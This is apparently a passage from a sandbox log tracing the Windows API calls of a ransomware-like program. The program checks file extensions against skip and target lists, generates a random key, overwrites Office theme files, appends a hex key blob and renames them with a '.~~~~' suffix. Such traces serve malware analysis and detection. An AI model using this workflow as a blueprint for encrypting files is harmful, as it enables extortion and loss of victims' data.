	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".pif") returned 0x0
	[0085.502] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.502] lstrlenW (lpString=".sqb") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0085.502] lstrlenW (lpString=".ost") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0085.502] lstrlenW (lpString=".txt") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0085.502] lstrlenW (lpString=".mdt") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0085.503] lstrlenW (lpString=".BDB") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0085.503] lstrlenW (lpString=".eql") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0085.503] lstrlenW (lpString=".DBF") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0085.503] lstrlenW (lpString=".EQL") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0085.503] lstrlenW (lpString=".FDB") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0085.503] lstrlenW (lpString=".EDB") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0085.503] lstrlenW (lpString=".DACPAC") returned 7
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0085.503] lstrlenW (lpString=".VHD") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0085.503] lstrlenW (lpString=".DBV") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0085.503] lstrlenW (lpString=".dacpac") returned 7
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.503] lstrlenW (lpString=".sdf") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.503] lstrlenW (lpString=".accdb") returned 6
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.503] lstrlenW (lpString=".DBX") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.503] lstrlenW (lpString=".MDT") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.503] lstrlenW (lpString=".SQB") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.503] lstrlenW (lpString=".vhd") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.503] lstrlenW (lpString=".bac") returned 4
	[0085.503] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.504] lstrlenW (lpString=".mdf") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.504] lstrlenW (lpString=".BAK") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.504] lstrlenW (lpString=".BAC") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.504] lstrlenW (lpString=".dbs") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.504] lstrlenW (lpString=".vhdx") returned 5
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.504] lstrlenW (lpString=".NDF") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.504] lstrlenW (lpString=".dat") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.504] lstrlenW (lpString=".DBS") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.504] lstrlenW (lpString=".CKP") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.504] lstrlenW (lpString=".edb") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.504] lstrlenW (lpString=".PST") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.504] lstrlenW (lpString=".dbf") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.504] lstrlenW (lpString=".SQL") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.504] lstrlenW (lpString=".pst") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.504] lstrlenW (lpString=".dbv") returned 4
	[0085.504] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.505] lstrlenW (lpString=".SDF") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.505] lstrlenW (lpString=".dtxs") returned 5
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.505] lstrlenW (lpString=".db3") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.505] lstrlenW (lpString=".OST") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.505] lstrlenW (lpString=".dbx") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.505] lstrlenW (lpString=".DB3") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.505] lstrlenW (lpString=".DAT") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.505] lstrlenW (lpString=".VHDX") returned 5
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.505] lstrlenW (lpString=".ndf") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.505] lstrlenW (lpString=".DB") returned 3
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.505] lstrlenW (lpString=".sql") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.505] lstrlenW (lpString=".MYD") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.505] lstrlenW (lpString=".DBT") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.505] lstrlenW (lpString=".ACCDB") returned 6
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.505] lstrlenW (lpString=".fdb") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.505] lstrlenW (lpString=".bak") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.505] lstrlenW (lpString=".myd") returned 4
	[0085.505] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.506] lstrlenW (lpString=".DTXS") returned 5
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.506] lstrlenW (lpString=".ckp") returned 4
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.506] lstrlenW (lpString=".dbt") returned 4
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.506] lstrlenW (lpString=".db") returned 3
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.506] lstrlenW (lpString=".TXT") returned 4
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.506] lstrlenW (lpString=".MDF") returned 4
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.506] lstrlenW (lpString=".bdb") returned 4
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.506] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.506] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.506] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.506] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.507] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.507] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.507] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20549720596) returned 1
	[0085.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cc767d0, dwHighDateTime=0x1d60e1e)) 
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cdd0
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x300000) returned 1
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.507] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ac098
	[0085.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0085.508] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.508] GetLastError () returned 0x0
	[0085.508] GetLastError () returned 0x0
	[0085.508] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.508] GetLastError () returned 0x0
	[0085.508] GetLastError () returned 0x0
	[0085.510] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa71, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.510] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x58f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x58f, lpOverlapped=0x0) returned 1
	[0085.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.510] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.510] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.510] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.510] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.511] CloseHandle (hObject=0x11c) returned 1
	[0085.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.511] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.~~~~")) returned 1
	[0085.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.511] GetLastError () returned 0x0
	[0085.512] RtlWakeConditionVariable () returned 0x365f70
	[0085.512] GetCurrentThreadId () returned 0xaf0
	[0085.512] GetCurrentThreadId () returned 0xaf0
	[0085.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abd50 | out: hHeap=0x300000) returned 1
	[0085.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cd98 | out: hHeap=0x300000) returned 1
	[0085.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abd50
	[0085.512] lstrlenW (lpString=".scr") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".scr") returned 0x0
	[0085.512] lstrlenW (lpString=".cmd") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".cmd") returned 0x0
	[0085.512] lstrlenW (lpString=".dll") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dll") returned 0x0
	[0085.512] lstrlenW (lpString=".bat") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".bat") returned 0x0
	[0085.512] lstrlenW (lpString=".cpl") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".cpl") returned 0x0
	[0085.512] lstrlenW (lpString=".sys") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".sys") returned 0x0
	[0085.512] lstrlenW (lpString=".msc") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".msc") returned 0x0
	[0085.512] lstrlenW (lpString=".com") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".com") returned 0x0
	[0085.512] lstrlenW (lpString=".lnk") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".lnk") returned 0x0
	[0085.512] lstrlenW (lpString=".msp") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".msp") returned 0x0
	[0085.512] lstrlenW (lpString=".pif") returned 4
	[0085.512] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".pif") returned 0x0
	[0085.513] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.513] lstrlenW (lpString=".sqb") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".sqb") returned 0x0
	[0085.513] lstrlenW (lpString=".ost") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".ost") returned 0x0
	[0085.513] lstrlenW (lpString=".txt") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".txt") returned 0x0
	[0085.513] lstrlenW (lpString=".mdt") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".mdt") returned 0x0
	[0085.513] lstrlenW (lpString=".BDB") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".BDB") returned 0x0
	[0085.513] lstrlenW (lpString=".eql") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".eql") returned 0x0
	[0085.513] lstrlenW (lpString=".DBF") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DBF") returned 0x0
	[0085.513] lstrlenW (lpString=".EQL") returned 4
	[0085.513] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".EQL") returned 0x0
	[0085.514] lstrlenW (lpString=".FDB") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".FDB") returned 0x0
	[0085.514] lstrlenW (lpString=".EDB") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".EDB") returned 0x0
	[0085.514] lstrlenW (lpString=".DACPAC") returned 7
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.514] lstrlenW (lpString=".VHD") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".VHD") returned 0x0
	[0085.514] lstrlenW (lpString=".DBV") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".DBV") returned 0x0
	[0085.514] lstrlenW (lpString=".dacpac") returned 7
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".dacpac") returned 0x0
	[0085.514] lstrlenW (lpString=".sdf") returned 4
	[0085.514] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpSrch=".sdf") returned 0x0
	[0085.514] lstrlenW (lpString=".accdb") returned 6
